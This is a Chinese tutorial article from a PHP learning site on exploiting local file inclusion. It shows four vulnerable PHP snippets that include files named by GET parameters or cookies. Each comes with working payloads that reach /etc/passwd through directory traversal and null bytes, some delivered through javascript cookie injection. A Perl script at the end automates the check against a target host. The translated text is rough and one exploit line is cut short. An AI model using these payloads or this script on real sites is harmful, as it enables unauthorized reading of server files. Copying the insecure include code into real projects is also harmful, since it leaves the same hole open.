网站地图    收藏   

主页 > 后端 > 网站安全 >

基于Web服务的攻击脚本 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] == [ 0x01 .-本地文件共享 ]让我们看看有多少方法可以带来这些不同的程序、不同的行动,这是我们追求:开放的心态。[代码 #1]x: ...if (isset($_GET[mode])) { if ($_GET[mode]==edit) { if......

 ==> [ 0x01 .-本地文件共享 ]

让我们看看有多少方法可以带来这些不同的程序、不同的行动,这是我们追求:
开放的心态。
[代码 #1]
x:  >...
 if (isset($_GET["mode"]))
  {
    if ($_GET["mode"]=="edit")
  {
   if (isset($_GET['id']))
   {
     $notefile = $_GET['id'];
   if ($notefile == "new")
   {
    $title = "";
    $notes = "";
   }
   else
   {
    $temp = "notes/" . $notefile;
    require($temp);
   }
x:  <...
x: }}}
[ 结束代码 # 1 ]
这是最简单的例子,我们将拭目以待。正如我们没有太多很难理解它们的行为。
Exploit:
?mode=edit&id=../../../../../../../../../../etc/passwd
$temp = "notes/" . $notefile . ".php";
该漏洞将有一个“NULL字节”(%00h)结束连接。
Exploit:
?mode=edit&id=../../../../../../../../../../etc/passwd%00
~~~~~~~~~~~~~~~~~~~~~~~~~
我们进入第2个例子。代码很容易,不安全的Cookie处理。我想你们可能会问:是否在一个安全漏洞处理?我在这儿告诉你,没有!让我们看看一个例子。
[代码 #2]
if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
 $_SESSION['language'] = $_COOKIE['language'];
}
....
if(LANG == ""){
 if(!isset($_SESSION['language'])){
  include("lang/english/lang.php");
  $_LANG = "english";
 } else {
  include("lang/".$_SESSION['language']."/lang.php");
  $_LANG = $_SESSION['language'];
 }
... }
[结束代码 #2]
Exploit:
javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
正如我们看到的,我们必须添加NULL字节(%00h),为什么要这么做,这为了避免目录遍历。
~~~~~~~~~~~~~~~~~~~~~~~~
这个例子的情况非常相似例子2,只有这个时候我们有一个入侵者的函数'explode'的PHP。开放的心态,并认为想一个Hacker。
[代码 #3]
x:  >...
 if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
 $userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
 $userName = $userArray[0];
 $userID = $userArray[1];
 $userLang = $userArray[2];
 include("include/lang/$userLang/inc.messages.php");
 }
x:  <...
[结束代码 #3]
你应该知道,"$HTTP_COOKIE_VARS"还可以操纵用户,而不是“$ _COOKIE”打开...
概念验证(函数 'explode' PHP):
1)
String = JosS;
[0] = JosS;
[1] = ;
[2] = ; ---> INCLUDE
2)
String = JosS JosS JosS;
[0] = JosS;
[1] = JosS;
[2] = JosS; ---> INCLUDE
Exploit:
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";
~~~~~~~~~~~~~~~~~~~~~~~~~~~
对于第4个例子也是最后一个例子,它的情况类似例子1,我们要利用'IF GETS' 更大的脆弱性来处理Cookie。
[代码 #4]
x:  >...
 if (isset($_GET["mode"]))
  {
    if ($_GET["mode"]=="edit")
  {
   if (isset($_GET['id']))
   {
     $notefile = $_COOKIE['note'];
   if ($notefile == "new")
   {
    $title = "";
    $notes = "";
   }
   else
   {
    $temp = "notes/" . $notefile;
    require($temp);
   }
x:  <...
x: }}} www.2cto.com
[结束代码 #4]
我不会一步一步地解释这个代码。我们必须牢记我们的'$_COOKIE'
我们必须给予'IF'帮助我们,包括我们的'cookie'。因此,我们来利用这两个漏洞
Exploit 1:
javascript:document.cookie="note=../../../../../../../../../../etc/passwd; path=/";
Exploit 2: ?mode=edit&id
==> [ 0x02.- Exploits ]
 
我要把它称为“自动化”,因为它们什么也不做更简化该进程并让用户感到舒适。例子是Perl编程,因为对这些案件对常用。让我们来看看代码。
[代码 #1]
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]\n";
print "Example: perl xpl.pl http://localhost/path/\n";
}
else
{
$web=$ARGV[0];
chomp $web;
$iny="vuln.php?vuln=../../../../../../../../../../../../../../../../etc/passwd%00";
my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;
if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}}
[结束代码 #1]
该Exploit非常简单,没有太多的未解之谜。我们使用了模块'LWP'使我们连接到Web。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论